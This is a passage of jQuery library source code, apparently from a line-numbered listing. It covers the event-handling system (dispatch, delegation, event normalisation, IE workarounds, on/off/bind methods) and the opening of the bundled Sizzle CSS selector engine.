  3024. jQuery.event.triggered = type;
  3025. try {
  3026. elem[ type ]();
  3027. } catch ( e ) {
  3028. // IE<9 dies on focus/blur to hidden element (#1486,#12518)
  3029. // only reproducible on winXP IE8 native, not IE9 in IE8 mode
  3030. }
  3031. jQuery.event.triggered = undefined;
  3032.  
  3033. if ( tmp ) {
  3034. elem[ ontype ] = tmp;
  3035. }
  3036. }
  3037. }
  3038. }
  3039.  
  3040. return event.result;
  3041. },
  3042.  
  3043. dispatch: function( event ) {
  3044.  
  3045. // Make a writable jQuery.Event from the native event object
  3046. event = jQuery.event.fix( event );
  3047.  
  3048. var i, ret, handleObj, matched, j,
  3049. handlerQueue = [],
  3050. args = core_slice.call( arguments ),
  3051. handlers = ( jQuery._data( this, "events" ) || {} )[ event.type ] || [],
  3052. special = jQuery.event.special[ event.type ] || {};
  3053.  
  3054. // Use the fix-ed jQuery.Event rather than the (read-only) native event
  3055. args[0] = event;
  3056. event.delegateTarget = this;
  3057.  
  3058. // Call the preDispatch hook for the mapped type, and let it bail if desired
  3059. if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
  3060. return;
  3061. }
  3062.  
  3063. // Determine handlers
  3064. handlerQueue = jQuery.event.handlers.call( this, event, handlers );
  3065.  
  3066. // Run delegates first; they may want to stop propagation beneath us
  3067. i = 0;
  3068. while ( (matched = handlerQueue[ i++ ]) && !event.isPropagationStopped() ) {
  3069. event.currentTarget = matched.elem;
  3070.  
  3071. j = 0;
  3072. while ( (handleObj = matched.handlers[ j++ ]) && !event.isImmediatePropagationStopped() ) {
  3073.  
  3074. // Triggered event must either 1) have no namespace, or
  3075. // 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace).
  3076. if ( !event.namespace_re || event.namespace_re.test( handleObj.namespace ) ) {
  3077.  
  3078. event.handleObj = handleObj;
  3079. event.data = handleObj.data;
  3080.  
  3081. ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler )
  3082. .apply( matched.elem, args );
  3083.  
  3084. if ( ret !== undefined ) {
  3085. if ( (event.result = ret) === false ) {
  3086. event.preventDefault();
  3087. event.stopPropagation();
  3088. }
  3089. }
  3090. }
  3091. }
  3092. }
  3093.  
  3094. // Call the postDispatch hook for the mapped type
  3095. if ( special.postDispatch ) {
  3096. special.postDispatch.call( this, event );
  3097. }
  3098.  
  3099. return event.result;
  3100. },
  3101.  
  3102. handlers: function( event, handlers ) {
  3103. var sel, handleObj, matches, i,
  3104. handlerQueue = [],
  3105. delegateCount = handlers.delegateCount,
  3106. cur = event.target;
  3107.  
  3108. // Find delegate handlers
  3109. // Black-hole SVG <use> instance trees (#13180)
  3110. // Avoid non-left-click bubbling in Firefox (#3861)
  3111. if ( delegateCount && cur.nodeType && (!event.button || event.type !== "click") ) {
  3112.  
  3113. for ( ; cur != this; cur = cur.parentNode || this ) {
  3114.  
  3115. // Don't check non-elements (#13208)
  3116. // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)
  3117. if ( cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click") ) {
  3118. matches = [];
  3119. for ( i = 0; i < delegateCount; i++ ) {
  3120. handleObj = handlers[ i ];
  3121.  
  3122. // Don't conflict with Object.prototype properties (#13203)
  3123. sel = handleObj.selector + " ";
  3124.  
  3125. if ( matches[ sel ] === undefined ) {
  3126. matches[ sel ] = handleObj.needsContext ?
  3127. jQuery( sel, this ).index( cur ) >= 0 :
  3128. jQuery.find( sel, this, null, [ cur ] ).length;
  3129. }
  3130. if ( matches[ sel ] ) {
  3131. matches.push( handleObj );
  3132. }
  3133. }
  3134. if ( matches.length ) {
  3135. handlerQueue.push({ elem: cur, handlers: matches });
  3136. }
  3137. }
  3138. }
  3139. }
  3140.  
  3141. // Add the remaining (directly-bound) handlers
  3142. if ( delegateCount < handlers.length ) {
  3143. handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) });
  3144. }
  3145.  
  3146. return handlerQueue;
  3147. },
  3148.  
  3149. fix: function( event ) {
  3150. if ( event[ jQuery.expando ] ) {
  3151. return event;
  3152. }
  3153.  
  3154. // Create a writable copy of the event object and normalize some properties
  3155. var i, prop, copy,
  3156. type = event.type,
  3157. originalEvent = event,
  3158. fixHook = this.fixHooks[ type ];
  3159.  
  3160. if ( !fixHook ) {
  3161. this.fixHooks[ type ] = fixHook =
  3162. rmouseEvent.test( type ) ? this.mouseHooks :
  3163. rkeyEvent.test( type ) ? this.keyHooks :
  3164. {};
  3165. }
  3166. copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;
  3167.  
  3168. event = new jQuery.Event( originalEvent );
  3169.  
  3170. i = copy.length;
  3171. while ( i-- ) {
  3172. prop = copy[ i ];
  3173. event[ prop ] = originalEvent[ prop ];
  3174. }
  3175.  
  3176. // Support: IE<9
  3177. // Fix target property (#1925)
  3178. if ( !event.target ) {
  3179. event.target = originalEvent.srcElement || document;
  3180. }
  3181.  
  3182. // Support: Chrome 23+, Safari?
  3183. // Target should not be a text node (#504, #13143)
  3184. if ( event.target.nodeType === 3 ) {
  3185. event.target = event.target.parentNode;
  3186. }
  3187.  
  3188. // Support: IE<9
  3189. // For mouse/key events, metaKey==false if it's undefined (#3368, #11328)
  3190. event.metaKey = !!event.metaKey;
  3191.  
  3192. return fixHook.filter ? fixHook.filter( event, originalEvent ) : event;
  3193. },
  3194.  
  3195. // Includes some event props shared by KeyEvent and MouseEvent
  3196. props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
  3197.  
  3198. fixHooks: {},
  3199.  
  3200. keyHooks: {
  3201. props: "char charCode key keyCode".split(" "),
  3202. filter: function( event, original ) {
  3203.  
  3204. // Add which for key events
  3205. if ( event.which == null ) {
  3206. event.which = original.charCode != null ? original.charCode : original.keyCode;
  3207. }
  3208.  
  3209. return event;
  3210. }
  3211. },
  3212.  
  3213. mouseHooks: {
  3214. props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
  3215. filter: function( event, original ) {
  3216. var body, eventDoc, doc,
  3217. button = original.button,
  3218. fromElement = original.fromElement;
  3219.  
  3220. // Calculate pageX/Y if missing and clientX/Y available
  3221. if ( event.pageX == null && original.clientX != null ) {
  3222. eventDoc = event.target.ownerDocument || document;
  3223. doc = eventDoc.documentElement;
  3224. body = eventDoc.body;
  3225.  
  3226. event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 );
  3227. event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 );
  3228. }
  3229.  
  3230. // Add relatedTarget, if necessary
  3231. if ( !event.relatedTarget && fromElement ) {
  3232. event.relatedTarget = fromElement === event.target ? original.toElement : fromElement;
  3233. }
  3234.  
  3235. // Add which for click: 1 === left; 2 === middle; 3 === right
  3236. // Note: button is not normalized, so don't use it
  3237. if ( !event.which && button !== undefined ) {
  3238. event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );
  3239. }
  3240.  
  3241. return event;
  3242. }
  3243. },
  3244.  
  3245. special: {
  3246. load: {
  3247. // Prevent triggered image.load events from bubbling to window.load
  3248. noBubble: true
  3249. },
  3250. click: {
  3251. // For checkbox, fire native event so checked state will be right
  3252. trigger: function() {
  3253. if ( jQuery.nodeName( this, "input" ) && this.type === "checkbox" && this.click ) {
  3254. this.click();
  3255. return false;
  3256. }
  3257. }
  3258. },
  3259. focus: {
  3260. // Fire native event if possible so blur/focus sequence is correct
  3261. trigger: function() {
  3262. if ( this !== document.activeElement && this.focus ) {
  3263. try {
  3264. this.focus();
  3265. return false;
  3266. } catch ( e ) {
  3267. // Support: IE<9
  3268. // If we error on focus to hidden element (#1486, #12518),
  3269. // let .trigger() run the handlers
  3270. }
  3271. }
  3272. },
  3273. delegateType: "focusin"
  3274. },
  3275. blur: {
  3276. trigger: function() {
  3277. if ( this === document.activeElement && this.blur ) {
  3278. this.blur();
  3279. return false;
  3280. }
  3281. },
  3282. delegateType: "focusout"
  3283. },
  3284.  
  3285. beforeunload: {
  3286. postDispatch: function( event ) {
  3287.  
  3288. // Even when returnValue equals to undefined Firefox will still show alert
  3289. if ( event.result !== undefined ) {
  3290. event.originalEvent.returnValue = event.result;
  3291. }
  3292. }
  3293. }
  3294. },
  3295.  
  3296. simulate: function( type, elem, event, bubble ) {
  3297. // Piggyback on a donor event to simulate a different one.
  3298. // Fake originalEvent to avoid donor's stopPropagation, but if the
  3299. // simulated event prevents default then we do the same on the donor.
  3300. var e = jQuery.extend(
  3301. new jQuery.Event(),
  3302. event,
  3303. { type: type,
  3304. isSimulated: true,
  3305. originalEvent: {}
  3306. }
  3307. );
  3308. if ( bubble ) {
  3309. jQuery.event.trigger( e, null, elem );
  3310. } else {
  3311. jQuery.event.dispatch.call( elem, e );
  3312. }
  3313. if ( e.isDefaultPrevented() ) {
  3314. event.preventDefault();
  3315. }
  3316. }
  3317. };
  3318.  
  3319. jQuery.removeEvent = document.removeEventListener ?
  3320. function( elem, type, handle ) {
  3321. if ( elem.removeEventListener ) {
  3322. elem.removeEventListener( type, handle, false );
  3323. }
  3324. } :
  3325. function( elem, type, handle ) {
  3326. var name = "on" + type;
  3327.  
  3328. if ( elem.detachEvent ) {
  3329.  
  3330. // #8545, #7054, preventing memory leaks for custom events in IE6-8
  3331. // detachEvent needed property on element, by name of that event, to properly expose it to GC
  3332. if ( typeof elem[ name ] === core_strundefined ) {
  3333. elem[ name ] = null;
  3334. }
  3335.  
  3336. elem.detachEvent( name, handle );
  3337. }
  3338. };
  3339.  
  3340. jQuery.Event = function( src, props ) {
  3341. // Allow instantiation without the 'new' keyword
  3342. if ( !(this instanceof jQuery.Event) ) {
  3343. return new jQuery.Event( src, props );
  3344. }
  3345.  
  3346. // Event object
  3347. if ( src && src.type ) {
  3348. this.originalEvent = src;
  3349. this.type = src.type;
  3350.  
  3351. // Events bubbling up the document may have been marked as prevented
  3352. // by a handler lower down the tree; reflect the correct value.
  3353. this.isDefaultPrevented = ( src.defaultPrevented || src.returnValue === false ||
  3354. src.getPreventDefault && src.getPreventDefault() ) ? returnTrue : returnFalse;
  3355.  
  3356. // Event type
  3357. } else {
  3358. this.type = src;
  3359. }
  3360.  
  3361. // Put explicitly provided properties onto the event object
  3362. if ( props ) {
  3363. jQuery.extend( this, props );
  3364. }
  3365.  
  3366. // Create a timestamp if incoming event doesn't have one
  3367. this.timeStamp = src && src.timeStamp || jQuery.now();
  3368.  
  3369. // Mark it as fixed
  3370. this[ jQuery.expando ] = true;
  3371. };
  3372.  
  3373. // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
  3374. // http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
  3375. jQuery.Event.prototype = {
  3376. isDefaultPrevented: returnFalse,
  3377. isPropagationStopped: returnFalse,
  3378. isImmediatePropagationStopped: returnFalse,
  3379.  
  3380. preventDefault: function() {
  3381. var e = this.originalEvent;
  3382.  
  3383. this.isDefaultPrevented = returnTrue;
  3384. if ( !e ) {
  3385. return;
  3386. }
  3387.  
  3388. // If preventDefault exists, run it on the original event
  3389. if ( e.preventDefault ) {
  3390. e.preventDefault();
  3391.  
  3392. // Support: IE
  3393. // Otherwise set the returnValue property of the original event to false
  3394. } else {
  3395. e.returnValue = false;
  3396. }
  3397. },
  3398. stopPropagation: function() {
  3399. var e = this.originalEvent;
  3400.  
  3401. this.isPropagationStopped = returnTrue;
  3402. if ( !e ) {
  3403. return;
  3404. }
  3405. // If stopPropagation exists, run it on the original event
  3406. if ( e.stopPropagation ) {
  3407. e.stopPropagation();
  3408. }
  3409.  
  3410. // Support: IE
  3411. // Set the cancelBubble property of the original event to true
  3412. e.cancelBubble = true;
  3413. },
  3414. stopImmediatePropagation: function() {
  3415. this.isImmediatePropagationStopped = returnTrue;
  3416. this.stopPropagation();
  3417. }
  3418. };
  3419.  
  3420. // Create mouseenter/leave events using mouseover/out and event-time checks
  3421. jQuery.each({
  3422. mouseenter: "mouseover",
  3423. mouseleave: "mouseout"
  3424. }, function( orig, fix ) {
  3425. jQuery.event.special[ orig ] = {
  3426. delegateType: fix,
  3427. bindType: fix,
  3428.  
  3429. handle: function( event ) {
  3430. var ret,
  3431. target = this,
  3432. related = event.relatedTarget,
  3433. handleObj = event.handleObj;
  3434.  
  3435. // For mousenter/leave call the handler if related is outside the target.
  3436. // NB: No relatedTarget if the mouse left/entered the browser window
  3437. if ( !related || (related !== target && !jQuery.contains( target, related )) ) {
  3438. event.type = handleObj.origType;
  3439. ret = handleObj.handler.apply( this, arguments );
  3440. event.type = fix;
  3441. }
  3442. return ret;
  3443. }
  3444. };
  3445. });
  3446.  
  3447. // IE submit delegation
  3448. if ( !jQuery.support.submitBubbles ) {
  3449.  
  3450. jQuery.event.special.submit = {
  3451. setup: function() {
  3452. // Only need this for delegated form submit events
  3453. if ( jQuery.nodeName( this, "form" ) ) {
  3454. return false;
  3455. }
  3456.  
  3457. // Lazy-add a submit handler when a descendant form may potentially be submitted
  3458. jQuery.event.add( this, "click._submit keypress._submit", function( e ) {
  3459. // Node name check avoids a VML-related crash in IE (#9807)
  3460. var elem = e.target,
  3461. form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.form : undefined;
  3462. if ( form && !jQuery._data( form, "submitBubbles" ) ) {
  3463. jQuery.event.add( form, "submit._submit", function( event ) {
  3464. event._submit_bubble = true;
  3465. });
  3466. jQuery._data( form, "submitBubbles", true );
  3467. }
  3468. });
  3469. // return undefined since we don't need an event listener
  3470. },
  3471.  
  3472. postDispatch: function( event ) {
  3473. // If form was submitted by the user, bubble the event up the tree
  3474. if ( event._submit_bubble ) {
  3475. delete event._submit_bubble;
  3476. if ( this.parentNode && !event.isTrigger ) {
  3477. jQuery.event.simulate( "submit", this.parentNode, event, true );
  3478. }
  3479. }
  3480. },
  3481.  
  3482. teardown: function() {
  3483. // Only need this for delegated form submit events
  3484. if ( jQuery.nodeName( this, "form" ) ) {
  3485. return false;
  3486. }
  3487.  
  3488. // Remove delegated handlers; cleanData eventually reaps submit handlers attached above
  3489. jQuery.event.remove( this, "._submit" );
  3490. }
  3491. };
  3492. }
  3493.  
  3494. // IE change delegation and checkbox/radio fix
  3495. if ( !jQuery.support.changeBubbles ) {
  3496.  
  3497. jQuery.event.special.change = {
  3498.  
  3499. setup: function() {
  3500.  
  3501. if ( rformElems.test( this.nodeName ) ) {
  3502. // IE doesn't fire change on a check/radio until blur; trigger it on click
  3503. // after a propertychange. Eat the blur-change in special.change.handle.
  3504. // This still fires onchange a second time for check/radio after blur.
  3505. if ( this.type === "checkbox" || this.type === "radio" ) {
  3506. jQuery.event.add( this, "propertychange._change", function( event ) {
  3507. if ( event.originalEvent.propertyName === "checked" ) {
  3508. this._just_changed = true;
  3509. }
  3510. });
  3511. jQuery.event.add( this, "click._change", function( event ) {
  3512. if ( this._just_changed && !event.isTrigger ) {
  3513. this._just_changed = false;
  3514. }
  3515. // Allow triggered, simulated change events (#11500)
  3516. jQuery.event.simulate( "change", this, event, true );
  3517. });
  3518. }
  3519. return false;
  3520. }
  3521. // Delegated event; lazy-add a change handler on descendant inputs
  3522. jQuery.event.add( this, "beforeactivate._change", function( e ) {
  3523. var elem = e.target;
  3524.  
  3525. if ( rformElems.test( elem.nodeName ) && !jQuery._data( elem, "changeBubbles" ) ) {
  3526. jQuery.event.add( elem, "change._change", function( event ) {
  3527. if ( this.parentNode && !event.isSimulated && !event.isTrigger ) {
  3528. jQuery.event.simulate( "change", this.parentNode, event, true );
  3529. }
  3530. });
  3531. jQuery._data( elem, "changeBubbles", true );
  3532. }
  3533. });
  3534. },
  3535.  
  3536. handle: function( event ) {
  3537. var elem = event.target;
  3538.  
  3539. // Swallow native change events from checkbox/radio, we already triggered them above
  3540. if ( this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox") ) {
  3541. return event.handleObj.handler.apply( this, arguments );
  3542. }
  3543. },
  3544.  
  3545. teardown: function() {
  3546. jQuery.event.remove( this, "._change" );
  3547.  
  3548. return !rformElems.test( this.nodeName );
  3549. }
  3550. };
  3551. }
  3552.  
  3553. // Create "bubbling" focus and blur events
  3554. if ( !jQuery.support.focusinBubbles ) {
  3555. jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) {
  3556.  
  3557. // Attach a single capturing handler while someone wants focusin/focusout
  3558. var attaches = 0,
  3559. handler = function( event ) {
  3560. jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true );
  3561. };
  3562.  
  3563. jQuery.event.special[ fix ] = {
  3564. setup: function() {
  3565. if ( attaches++ === 0 ) {
  3566. document.addEventListener( orig, handler, true );
  3567. }
  3568. },
  3569. teardown: function() {
  3570. if ( --attaches === 0 ) {
  3571. document.removeEventListener( orig, handler, true );
  3572. }
  3573. }
  3574. };
  3575. });
  3576. }
  3577.  
  3578. jQuery.fn.extend({
  3579.  
  3580. on: function( types, selector, data, fn, /*INTERNAL*/ one ) {
  3581. var type, origFn;
  3582.  
  3583. // Types can be a map of types/handlers
  3584. if ( typeof types === "object" ) {
  3585. // ( types-Object, selector, data )
  3586. if ( typeof selector !== "string" ) {
  3587. // ( types-Object, data )
  3588. data = data || selector;
  3589. selector = undefined;
  3590. }
  3591. for ( type in types ) {
  3592. this.on( type, selector, data, types[ type ], one );
  3593. }
  3594. return this;
  3595. }
  3596.  
  3597. if ( data == null && fn == null ) {
  3598. // ( types, fn )
  3599. fn = selector;
  3600. data = selector = undefined;
  3601. } else if ( fn == null ) {
  3602. if ( typeof selector === "string" ) {
  3603. // ( types, selector, fn )
  3604. fn = data;
  3605. data = undefined;
  3606. } else {
  3607. // ( types, data, fn )
  3608. fn = data;
  3609. data = selector;
  3610. selector = undefined;
  3611. }
  3612. }
  3613. if ( fn === false ) {
  3614. fn = returnFalse;
  3615. } else if ( !fn ) {
  3616. return this;
  3617. }
  3618.  
  3619. if ( one === 1 ) {
  3620. origFn = fn;
  3621. fn = function( event ) {
  3622. // Can use an empty set, since event contains the info
  3623. jQuery().off( event );
  3624. return origFn.apply( this, arguments );
  3625. };
  3626. // Use same guid so caller can remove using origFn
  3627. fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
  3628. }
  3629. return this.each( function() {
  3630. jQuery.event.add( this, types, fn, data, selector );
  3631. });
  3632. },
  3633. one: function( types, selector, data, fn ) {
  3634. return this.on( types, selector, data, fn, 1 );
  3635. },
  3636. off: function( types, selector, fn ) {
  3637. var handleObj, type;
  3638. if ( types && types.preventDefault && types.handleObj ) {
  3639. // ( event ) dispatched jQuery.Event
  3640. handleObj = types.handleObj;
  3641. jQuery( types.delegateTarget ).off(
  3642. handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType,
  3643. handleObj.selector,
  3644. handleObj.handler
  3645. );
  3646. return this;
  3647. }
  3648. if ( typeof types === "object" ) {
  3649. // ( types-object [, selector] )
  3650. for ( type in types ) {
  3651. this.off( type, selector, types[ type ] );
  3652. }
  3653. return this;
  3654. }
  3655. if ( selector === false || typeof selector === "function" ) {
  3656. // ( types [, fn] )
  3657. fn = selector;
  3658. selector = undefined;
  3659. }
  3660. if ( fn === false ) {
  3661. fn = returnFalse;
  3662. }
  3663. return this.each(function() {
  3664. jQuery.event.remove( this, types, fn, selector );
  3665. });
  3666. },
  3667.  
  3668. bind: function( types, data, fn ) {
  3669. return this.on( types, null, data, fn );
  3670. },
  3671. unbind: function( types, fn ) {
  3672. return this.off( types, null, fn );
  3673. },
  3674.  
  3675. delegate: function( selector, types, data, fn ) {
  3676. return this.on( types, selector, data, fn );
  3677. },
  3678. undelegate: function( selector, types, fn ) {
  3679. // ( namespace ) or ( selector, types [, fn] )
  3680. return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn );
  3681. },
  3682.  
  3683. trigger: function( type, data ) {
  3684. return this.each(function() {
  3685. jQuery.event.trigger( type, data, this );
  3686. });
  3687. },
  3688. triggerHandler: function( type, data ) {
  3689. var elem = this[0];
  3690. if ( elem ) {
  3691. return jQuery.event.trigger( type, data, elem, true );
  3692. }
  3693. }
  3694. });
  3695. /*!
  3696. * Sizzle CSS Selector Engine
  3697. * Copyright 2012 jQuery Foundation and other contributors
  3698. * Released under the MIT license
  3699. * http://sizzlejs.com/
  3700. */
  3701. (function( window, undefined ) {
  3702.  
  3703. var i,
  3704. cachedruns,
  3705. Expr,
  3706. getText,
  3707. isXML,
  3708. compile,
  3709. hasDuplicate,
  3710. outermostContext,
  3711.  
  3712. // Local document vars
  3713. setDocument,
  3714. document,
  3715. docElem,
  3716. documentIsXML,
  3717. rbuggyQSA,
  3718. rbuggyMatches,
  3719. matches,
  3720. contains,
  3721. sortOrder,
  3722.  
  3723. // Instance-specific data
  3724. expando = "sizzle" + -(new Date()),
  3725. preferredDoc = window.document,
  3726. support = {},
  3727. dirruns = 0,
  3728. done = 0,
  3729. classCache = createCache(),
  3730. tokenCache = createCache(),
  3731. compilerCache = createCache(),
  3732.  
  3733. // General-purpose constants
  3734. strundefined = typeof undefined,
  3735. MAX_NEGATIVE = 1 << 31,
  3736.  
  3737. // Array methods
  3738. arr = [],
  3739. pop = arr.pop,
  3740. push = arr.push,
  3741. slice = arr.slice,
  3742. // Use a stripped-down indexOf if we can't use a native one
  3743. indexOf = arr.indexOf || function( elem ) {
  3744. var i = 0,
  3745. len = this.length;
  3746. for ( ; i < len; i++ ) {
  3747. if ( this[i] === elem ) {
  3748. return i;
  3749. }
  3750. }
  3751. return -1;
  3752. },
  3753.  
  3754.  
  3755. // Regular expressions
  3756.  
  3757. // Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace
  3758. whitespace = "[\\x20\\t\\r\\n\\f]",
  3759. // http://www.w3.org/TR/css3-syntax/#characters
  3760. characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
  3761.  
  3762. // Loosely modeled on CSS identifier characters
  3763. // An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors
  3764. // Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
  3765. identifier = characterEncoding.replace( "w", "w#" ),
  3766.  
  3767. // Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors
  3768. operators = "([*^$|!~]?=)",
  3769. attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace +
  3770. "*(?:" + operators + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]",
  3771.  
  3772. // Prefer arguments quoted,
  3773. // then not containing pseudos/brackets,
  3774. // then attribute selectors/non-parenthetical expressions,
  3775. // then anything else
  3776. // These preferences are here to reduce the number of selectors
  3777. // needing tokenize in the PSEUDO preFilter
  3778. pseudos = ":(" + characterEncoding + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + attributes.replace( 3, 8 ) + ")*)|.*)\\)|)",
  3779.  
  3780. // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
  3781. rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
  3782.  
  3783. rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
  3784. rcombinators = new RegExp( "^" + whitespace + "*([\\x20\\t\\r\\n\\f>+~])" + whitespace + "*" ),
  3785. rpseudo = new RegExp( pseudos ),
  3786. ridentifier = new RegExp( "^" + identifier + "$" ),
  3787.  
  3788. matchExpr = {
  3789. "ID": new RegExp( "^#(" + characterEncoding + ")" ),
  3790. "CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ),
  3791. "NAME": new RegExp( "^\\[name=['\"]?(" + characterEncoding + ")['\"]?\\]" ),
  3792. "TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ),
  3793. "ATTR": new RegExp( "^" + attributes ),
  3794. "PSEUDO": new RegExp( "^" + pseudos ),
  3795. "CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace +
  3796. "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
  3797. "*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
  3798. // For use in libraries implementing .is()
  3799. // We use this for POS matching in `select`
  3800. "needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
  3801. whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
  3802. },
  3803.  
  3804. rsibling = /[\x20\t\r\n\f]*[+~]/,
  3805.  
  3806. rnative = /^[^{]+\{\s*\[native code/,
  3807.  
  3808. // Easily-parseable/retrievable ID or TAG or CLASS selectors
  3809. rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
  3810.  
  3811. rinputs = /^(?:input|select|textarea|button)$/i,
  3812. rheader = /^h\d$/i,
  3813.  
  3814. rescape = /'|\\/g,
  3815. rattributeQuotes = /\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,
  3816.  
  3817. // CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
  3818. runescape = /\\([\da-fA-F]{1,6}[\x20\t\r\n\f]?|.)/g,
  3819. funescape = function( _, escaped ) {
  3820. var high = "0x" + escaped - 0x10000;
  3821. // NaN means non-codepoint
  3822. return high !== high ?
  3823. escaped :
  3824. // BMP codepoint
  3825. high < 0 ?
  3826. String.fromCharCode( high + 0x10000 ) :
  3827. // Supplemental Plane codepoint (surrogate pair)
  3828. String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
  3829. };
  3830.  
  3831. // Use a stripped-down slice if we can't use a native one
  3832. try {
  3833. slice.call( preferredDoc.documentElement.childNodes, 0 )[0].nodeType;
  3834. } catch ( e ) {
  3835. slice = function( i ) {
  3836. var elem,
  3837. results = [];
  3838. while ( (elem = this[i++]) ) {
  3839. results.push( elem );
  3840. }
  3841. return results;
  3842. };
  3843. }
  3844.  
  3845. /**
  3846. * For feature detection
  3847. * @param {Function} fn The function to test for native support
  3848. */
  3849. function isNative( fn ) {
  3850. return rnative.test( fn + "" );
  3851. }
  3852.  
  3853. /**
  3854. * Create key-value caches of limited size
  3855. * @returns {Function(string, Object)} Returns the Object data after storing it on itself with
  3856. * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
  3857. * deleting the oldest entry
  3858. */
  3859. function createCache() {
  3860. var cache,
  3861. keys = [];
  3862.  
  3863. return (cache = function( key, value ) {
  3864. // Use (key + " ") to avoid collision with native prototype properties (see Issue #157)
  3865. if ( keys.push( key += " " ) > Expr.cacheLength ) {
  3866. // Only keep the most recent entries
  3867. delete cache[ keys.shift() ];
  3868. }
  3869. return (cache[ key ] = value);
  3870. });
  3871. }
  3872.  
  3873. /**
  3874. * Mark a function for special use by Sizzle
  3875. * @param {Function} fn The function to mark
  3876. */
  3877. function markFunction( fn ) {
  3878. fn[ expando ] = true;
  3879. return fn;
  3880. }
  3881.  
  3882. /**
  3883. * Support testing using an element
  3884. * @param {Function} fn Passed the created div and expects a boolean result
  3885. */
  3886. function assert( fn ) {
  3887. var div = document.createElement("div");
  3888.  
  3889. try {
  3890. return fn( div );
  3891. } catch (e) {
  3892. return false;
  3893. } finally {
  3894. // release memory in IE
  3895. div = null;
  3896. }
  3897. }
  3898.  
  3899. function Sizzle( selector, context, results, seed ) {
  3900. var match, elem, m, nodeType,
  3901. // QSA vars
  3902. i, groups, old, nid, newContext, newSelector;
  3903.  
  3904. if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {
  3905. setDocument( context );
  3906. }
  3907.  
  3908. context = context || document;
  3909. results = results || [];
  3910.  
  3911. if ( !selector || typeof selector !== "string" ) {
  3912. return results;
  3913. }
  3914.  
  3915. if ( (nodeType = context.nodeType) !== 1 && nodeType !== 9 ) {
  3916. return [];
  3917. }
  3918.  
  3919. if ( !documentIsXML && !seed ) {
  3920.  
  3921. // Shortcuts
  3922. if ( (match = rquickExpr.exec( selector )) ) {
  3923. // Speed-up: Sizzle("#ID")
  3924. if ( (m = match[1]) ) {
  3925. if ( nodeType === 9 ) {
  3926. elem = context.getElementById( m );
  3927. // Check parentNode to catch when Blackberry 4.6 returns
  3928. // nodes that are no longer in the document #6963
  3929. if ( elem && elem.parentNode ) {
  3930. // Handle the case where IE, Opera, and Webkit return items
  3931. // by name instead of ID
  3932. if ( elem.id === m ) {
  3933. results.push( elem );
  3934. return results;
  3935. }
  3936. } else {
  3937. return results;
  3938. }
  3939. } else {
  3940. // Context is not a document
  3941. if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&
  3942. contains( context, elem ) && elem.id === m ) {
  3943. results.push( elem );
  3944. return results;
  3945. }
  3946. }
  3947.  
  3948. // Speed-up: Sizzle("TAG")
  3949. } else if ( match[2] ) {
  3950. push.apply( results, slice.call(context.getElementsByTagName( selector ), 0) );
  3951. return results;
  3952.  
  3953. // Speed-up: Sizzle(".CLASS")
  3954. } else if ( (m = match[3]) && support.getByClassName && context.getElementsByClassName ) {
  3955. push.apply( results, slice.call(context.getElementsByClassName( m ), 0) );
  3956. return results;
  3957. }
  3958. }
  3959.  
  3960. // QSA path
  3961. if ( support.qsa && !rbuggyQSA.test(selector) ) {
  3962. old = true;
  3963. nid = expando;
  3964. newContext = context;
